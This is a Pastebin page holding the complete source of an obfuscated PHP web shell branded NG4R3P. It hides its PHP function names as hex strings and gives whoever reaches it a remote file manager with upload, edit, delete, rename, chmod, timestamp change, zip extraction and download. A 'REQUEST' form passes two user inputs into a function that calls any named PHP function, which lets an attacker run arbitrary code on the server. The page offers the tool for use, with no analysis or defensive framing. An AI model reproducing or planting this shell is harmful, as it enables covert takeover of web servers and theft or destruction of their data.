API tools faq
paste
Moslem1337

Untitled

Moslem1337
Apr 14th, 2023
68
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.43 KB | None | 0 0
raw download clone embed print report
  1. <?php header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
  2. $Array = [
  3. '7068705f756e616d65',
  4. '70687076657273696f6e',
  5. '6368646972',
  6. '676574637764',
  7. '707265675f73706c6974',
  8. '636f7079',
  9. '66696c655f6765745f636f6e74656e7473',
  10. '6261736536345f6465636f6465',
  11. '69735f646972',
  12. '6f625f656e645f636c65616e28293b',
  13. '756e6c696e6b',
  14. '6d6b646972',
  15. '63686d6f64',
  16. '7363616e646972',
  17. '7374725f7265706c616365',
  18. '68746d6c7370656369616c6368617273',
  19. '7661725f64756d70',
  20. '666f70656e',
  21. '667772697465',
  22. '66636c6f7365',
  23. '64617465',
  24. '66696c656d74696d65',
  25. '737562737472',
  26. '737072696e7466',
  27. '66696c657065726d73',
  28. '746f756368',
  29. '66696c655f657869737473',
  30. '72656e616d65',
  31. '69735f6172726179',
  32. '69735f6f626a656374',
  33. '737472706f73',
  34. '69735f7772697461626c65',
  35. '69735f7265616461626c65',
  36. '737472746f74696d65',
  37. '66696c6573697a65',
  38. '726d646972',
  39. '6f625f6765745f636c65616e',
  40. '7265616466696c65',
  41. '617373657274',
  42. ];
  43. $___ = count($Array);
  44. for($i=0;$i<$___;$i++) {
  45. $GNJ[] = uhex($Array[$i]);
  46. }
  47. ?>
  48. <!DOCTYPE html>
  49. <html dir="auto" lang="en-US">
  50.  
  51. <link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
  52. <link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">
  53.  
  54. <script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  55. <script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
  56. </head>
  57.  
  58. <body>
  59. <header>
  60. <div class="y x">
  61. <a class="ajx" href="<?php echo basename($_SERVER['PHP_SELF']);?>">
  62. NG4R3P
  63. </a>
  64. </div>
  65.  
  66. <div class="q x w">
  67.  
  68. </div>
  69.  
  70. </header>
  71.  
  72. <article>
  73. <div class="i">
  74. <i class="far fa-hdd"></i>
  75. <?php echo $GNJ[0]();?>
  76.  
  77. <br />
  78.  
  79. <i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>
  80.  
  81. <br />
  82.  
  83. <i class="far fa-folder"></i>
  84.  
  85. <?php
  86. if(isset($_GET["d"])) {
  87. $d = uhex($_GET["d"]);
  88. $GNJ[2](uhex($_GET["d"]));
  89. }
  90. else {
  91. $d = $GNJ[3]();
  92. }
  93. $k = $GNJ[4]("/(\\\|\/)/", $d );
  94. foreach ($k as $m => $l) {
  95. if($l=='' && $m==0) {
  96. echo '<a class="ajx" href="?d=2f">/</a>';
  97. }
  98. if($l == '') {
  99. continue;
  100. }
  101. echo '<a class="ajx" href="?d=';
  102. for ($i = 0; $i <= $m; $i++) {
  103. echo hex($k[$i]);
  104. if($i != $m) {
  105. echo '2f';
  106. }
  107. }
  108. echo '">'.$l.'</a>/';
  109. }
  110. ?>
  111.  
  112. <br />
  113.  
  114. </div>
  115.  
  116. <div class="u">
  117. <?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i>
  118. <br />
  119.  
  120. <br />
  121.  
  122. <form method="post" enctype="multipart/form-data">
  123. <label class="l w">
  124. <input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
  125. </label>&nbsp;
  126. </form>
  127.  
  128. <?php
  129. $o_ = [
  130. '<script>$.notify("',
  131. '", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
  132. ];
  133. $f = $o_[0].'OK!'.$o_[1];
  134. $g = $o_[0].'ER!'.$o_[1];
  135. if(isset($_FILES["n"])) {
  136. $z = $_FILES["n"]["name"];
  137. $r = count($z);
  138. for( $i=0 ; $i < $r ; $i++ ) {
  139. if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
  140. echo $f;
  141. }
  142. else {
  143. echo $g;
  144. }
  145. }
  146. }
  147. ?>
  148.  
  149. </div>
  150. <?php
  151. $a_ = '<table cellspacing="0" cellpadding="7" width="100%">
  152. <thead>
  153. <tr>
  154. <th>';
  155. $b_ = '</th>
  156. </tr>
  157. </thead>
  158. <tbody>
  159. <tr>
  160. <td></td>
  161. </tr>
  162. <tr>
  163. <td class="x">';
  164. $c_ = '</td>
  165. </tr>
  166. </tbody>
  167. </table>';
  168. $d_ = '<br />
  169. <br />
  170. <input type="submit" class="w" value="&nbsp;OK&nbsp;" />
  171. </form>';
  172. if(isset($_GET["s"])) {
  173. echo $a_.uhex($_GET["s"]).$b_.'
  174. <textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
  175. <br />
  176. <br />
  177. <input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" />
  178. '.$c_;
  179. }
  180. elseif(isset($_GET["y"])) {
  181. echo $a_.'REQUEST'.$b_.'
  182. <form method="post">
  183. <input class="x" type="text" name="1" />&nbsp;&nbsp;
  184. <input class="x" type="text" name="2" />
  185. '.$d_.'
  186. <br />
  187. <textarea readonly="yes">';
  188.  
  189. if(isset($_POST["2"])) {
  190. echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
  191. }
  192.  
  193. echo '</textarea>
  194. '.$c_;
  195. }
  196. elseif(isset($_GET["e"])) {
  197. echo $a_.uhex($_GET["e"]).$b_.'
  198. <form method="post">
  199. <textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
  200. <br />
  201. <br />
  202. <span class="w">BASE64</span> :
  203. <select id="b64" name="b64">
  204. <option value="0">NO</option>
  205. <option value="1">YES</option>
  206. </select>
  207. '.$d_.'
  208. '.$c_.'
  209.  
  210. <script>
  211. $("#b64").change(function() {
  212. if($("#b64 option:selected").val() == 0) {
  213. var X = $("textarea").val();
  214. var Z = atob(X);
  215. $("textarea").val(Z);
  216. }
  217. else {
  218. var N = $("textarea").val();
  219. var I = btoa(N);
  220. $("textarea").val(I);
  221. }
  222. });
  223. </script>';
  224. if(isset($_POST["e"])) {
  225. if($_POST["b64"] == "1") {
  226. $ex = $GNJ[7]($_POST["e"]);
  227. }
  228. else {
  229. $ex = $_POST["e"];
  230. }
  231. $fp = $GNJ[17](uhex($_GET["e"]), 'w');
  232. if($GNJ[18]($fp, $ex)) {
  233. OK();
  234. }
  235. else {
  236. ER();
  237. }
  238. $GNJ[19]($fp);
  239. }
  240. }
  241. elseif(isset($_GET["x"])) {
  242. rec(uhex($_GET["x"]));
  243. if($GNJ[26](uhex($_GET["x"]))) {
  244. ER();
  245. }
  246. else {
  247. OK();
  248. }
  249.  
  250. }
  251. elseif(isset($_GET["t"])) {
  252. echo $a_.uhex($_GET["t"]).$b_.'
  253. <form action="" method="post">
  254. <input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
  255. '.$d_.'
  256. '.$c_;
  257. if( !empty($_POST["t"]) ) {
  258. $p = $GNJ[33]($_POST["t"]);
  259. if($p) {
  260. if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
  261. ER();
  262. }
  263. else {
  264. OK();
  265. }
  266. }
  267. else {
  268. ER();
  269. }
  270. }
  271. }
  272. elseif(isset($_GET["k"])) {
  273. echo $a_.uhex($_GET["k"]).$b_.'
  274. <form action="" method="post">
  275. <input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
  276. '.$d_.'
  277. '.$c_;
  278. if(!empty($_POST["b"])) {
  279. $x = $_POST["b"];
  280. $t = 0;
  281. for($i=strlen($x)-1;$i>=0;--$i)
  282. $t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
  283. if(!$GNJ[12](uhex($_GET["k"]), $t)) {
  284. ER();
  285. }
  286. else {
  287. OK();
  288. }
  289. }
  290. }
  291. elseif(isset($_GET["l"])) {
  292. echo $a_.'+DIR'.$b_.'
  293. <form action="" method="post">
  294. <input name="l" class="x" type="text" value="">
  295. '.$d_.'
  296. '.$c_;
  297. if(isset($_POST["l"])) {
  298. if(!$GNJ[11]($_POST["l"])) {
  299. ER();
  300. }
  301. else {
  302. OK();
  303. }
  304. }
  305. }
  306. elseif(isset($_GET["q"])) {
  307. if($GNJ[10](__FILE__)) {
  308. $GNJ[38]($GNJ[9]);
  309. header("Location: ".basename($_SERVER['PHP_SELF'])."");
  310. exit();
  311. }
  312. else {
  313. echo $g;
  314. }
  315. }
  316. elseif(isset($_GET["n"])) {
  317. echo $a_.'+FILE'.$b_.'
  318. <form action="" method="post">
  319. <input name="n" class="x" type="text" value="">
  320. '.$d_.'
  321. '.$c_;
  322. if(isset($_POST["n"])) {
  323. if(!$GNJ[25]($_POST["n"])) {
  324. ER();
  325. }
  326. else {
  327. OK();
  328. }
  329. }
  330. }
  331. elseif(isset($_GET["r"])) {
  332. echo $a_.uhex($_GET["r"]).$b_.'
  333. <form action="" method="post">
  334. <input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
  335. '.$d_.'
  336. '.$c_;
  337. if(isset($_POST["r"])) {
  338. if($GNJ[26]($_POST["r"])) {
  339. ER();
  340. }
  341. else {
  342. if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
  343. OK();
  344. }
  345. else {
  346. ER();
  347. }
  348. }
  349. }
  350. }
  351. elseif(isset($_GET["z"])) {
  352. $zip = new ZipArchive;
  353. $res = $zip->open(uhex($_GET["z"]));
  354. if($res === TRUE) {
  355. $zip->extractTo(uhex($_GET["d"]));
  356. $zip->close();
  357. OK();
  358. } else {
  359. ER();
  360. }
  361. }
  362. else {
  363. echo '<table cellspacing="0" cellpadding="7" width="100%">
  364. <thead>
  365. <tr>
  366. <th width="44%">[ NAME ]</th>
  367. <th width="11%">[ SIZE ]</th>
  368. <th width="17%">[ PERM ]</th>
  369. <th width="17%">[ DATE ]</th>
  370. <th width="11%">[ ACT ]</th>
  371. </tr>
  372. </thead>
  373. <tbody>
  374. <tr>
  375. <td>
  376. <a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
  377. <a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
  378. </td>
  379. </tr>
  380. ';
  381.  
  382. $h = "";
  383. $j = "";
  384. $w = $GNJ[13]($d);
  385. if($GNJ[28]($w) || $GNJ[29]($w)) {
  386. foreach($w as $c){
  387. $e = $GNJ[14]("\\", "/", $d);
  388. if(!$GNJ[30]($c, ".zip")) {
  389. $zi = '';
  390. }
  391. else {
  392. $zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
  393. }
  394. if($GNJ[31]("$d/$c")) {
  395. $o = "";
  396. }
  397. elseif(!$GNJ[32]("$d/$c")) {
  398. $o = " h";
  399. }
  400. else {
  401. $o = " w";
  402. }
  403. $s = $GNJ[34]("$d/$c") / 1024;
  404. $s = round($s, 3);
  405. if($s>=1024) {
  406. $s = round($s/1024, 2) . " MB";
  407. } else {
  408. $s = $s . " KB";
  409. }
  410. if(($c != ".") && ($c != "..")){
  411. ($GNJ[8]("$d/$c")) ?
  412. $h .= '<tr class="r">
  413. <td>
  414. <i class="far fa-folder m"></i>
  415. <a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
  416. </td>
  417. <td class="x">
  418. dir
  419. </td>
  420. <td class="x">
  421. <a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
  422. </td>
  423. <td class="x">
  424. <a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
  425. </td>
  426. <td class="x">
  427. <a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
  428. <a href="?d='.hex($e).'&x='.hex($c).'">D</a>
  429. </td>
  430. </tr>
  431.  
  432. '
  433. :
  434. $j .= '<tr class="r">
  435. <td>
  436. <i class="far fa-file m"></i>&thinsp;
  437. <a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
  438. </td>
  439. <td class="x">
  440. '.$s.'
  441. </td>
  442. <td class="x">
  443. <a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
  444. </td>
  445. <td class="x">
  446. <a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
  447. </td>
  448. <td class="x">
  449. <a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
  450. <a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
  451. <a href="?d='.hex($e).'&g='.hex($c).'">G</a>
  452. '.$zi.'
  453. <a href="?d='.hex($e).'&x='.hex($c).'">D</a>
  454. </td>
  455. </tr>
  456.  
  457. ';
  458.  
  459. }
  460. }
  461. }
  462.  
  463. echo $h;
  464. echo $j;
  465. echo '</tbody>
  466. <tfoot>
  467. <tr>
  468. <th class="et">
  469. <a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
  470. <a href="?d='.hex($e).'&q">EXIT</a>
  471. </th>
  472. <th class="et" width="11%"></th>
  473. <th class="et" width="17%"></th>
  474. <th class="et" width="17%"></th>
  475. <th class="et" width="11%"></th>
  476. </tr>
  477. </tfoot>
  478. </table>';
  479. }
  480. ?>
  481.  
  482. </article>
  483. <footer class="x">
  484.  
  485. </footer>
  486. <?php
  487. if(isset($_GET["1"])) {
  488. echo $f;
  489. }
  490. elseif(isset($_GET["0"])) {
  491. echo $g;
  492. }
  493. else {
  494. NULL;
  495. }
  496. ?>
  497.  
  498. <script>
  499. $(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
  500. </script>
  501. </body>
  502. </html>
  503. <?php
  504. function rec($j) {
  505. global $GNJ;
  506. if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') {
  507. return;
  508. }
  509. if($GNJ[8]($j)) {
  510. array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
  511. $GNJ[35]($j);
  512. }
  513. else {
  514. $GNJ[10]($j);
  515. }
  516. }
  517. function dre($y1, $y2) {
  518. global $GNJ;
  519. ob_start();
  520. $GNJ[16]($y1($y2));
  521. return $GNJ[36]();
  522. }
  523. function hex($n) {
  524. $y='';
  525. for ($i=0; $i < strlen($n); $i++){
  526. $y .= dechex(ord($n[$i]));
  527. }
  528. return $y;
  529. }
  530. function uhex($y) {
  531. $n='';
  532. for ($i=0; $i < strlen($y)-1; $i+=2){
  533. $n .= chr(hexdec($y[$i].$y[$i+1]));
  534. }
  535. return $n;
  536. }
  537. function OK() {
  538. global $GNJ, $d;
  539. $GNJ[38]($GNJ[9]);
  540. header("Location: ?d=".hex($d)."&1");
  541. exit();
  542. }
  543. function ER() {
  544. global $GNJ, $d;
  545. $GNJ[38]($GNJ[9]);
  546. header("Location: ?d=".hex($d)."&0");
  547. exit();
  548. }
  549. function x($c) {
  550. global $GNJ;
  551. $x = $GNJ[24]($c);
  552. if(($x & 0xC000) == 0xC000) {
  553. $u = "s";
  554. }
  555. elseif(($x & 0xA000) == 0xA000) {
  556. $u = "l";
  557. }
  558. elseif(($x & 0x8000) == 0x8000) {
  559. $u = "-";
  560. }
  561. elseif(($x & 0x6000) == 0x6000) {
  562. $u = "b";
  563. }
  564. elseif(($x & 0x4000) == 0x4000) {
  565. $u = "d";
  566. }
  567. elseif(($x & 0x2000) == 0x2000) {
  568. $u = "c";
  569. }
  570. elseif(($x & 0x1000) == 0x1000) {
  571. $u = "p";
  572. }
  573. else {
  574. $u = "u";
  575. }
  576. $u .= (($x & 0x0100) ? "r" : "-");
  577. $u .= (($x & 0x0080) ? "w" : "-");
  578. $u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
  579. $u .= (($x & 0x0020) ? "r" : "-");
  580. $u .= (($x & 0x0010) ? "w" : "-");
  581. $u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
  582. $u .= (($x & 0x0004) ? "r" : "-");
  583. $u .= (($x & 0x0002) ? "w" : "-");
  584. $u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
  585. return $u;
  586. }
  587. if(isset($_GET["g"])) {
  588. $GNJ[38]($GNJ[9]);
  589. header("Content-Type: application/octet-stream");
  590. header("Content-Transfer-Encoding: Binary");
  591. header("Content-Length: ".$GNJ[34](uhex($_GET["g"])));
  592. header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\"");
  593. $GNJ[37](uhex($_GET["g"]));
  594. }
  595. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!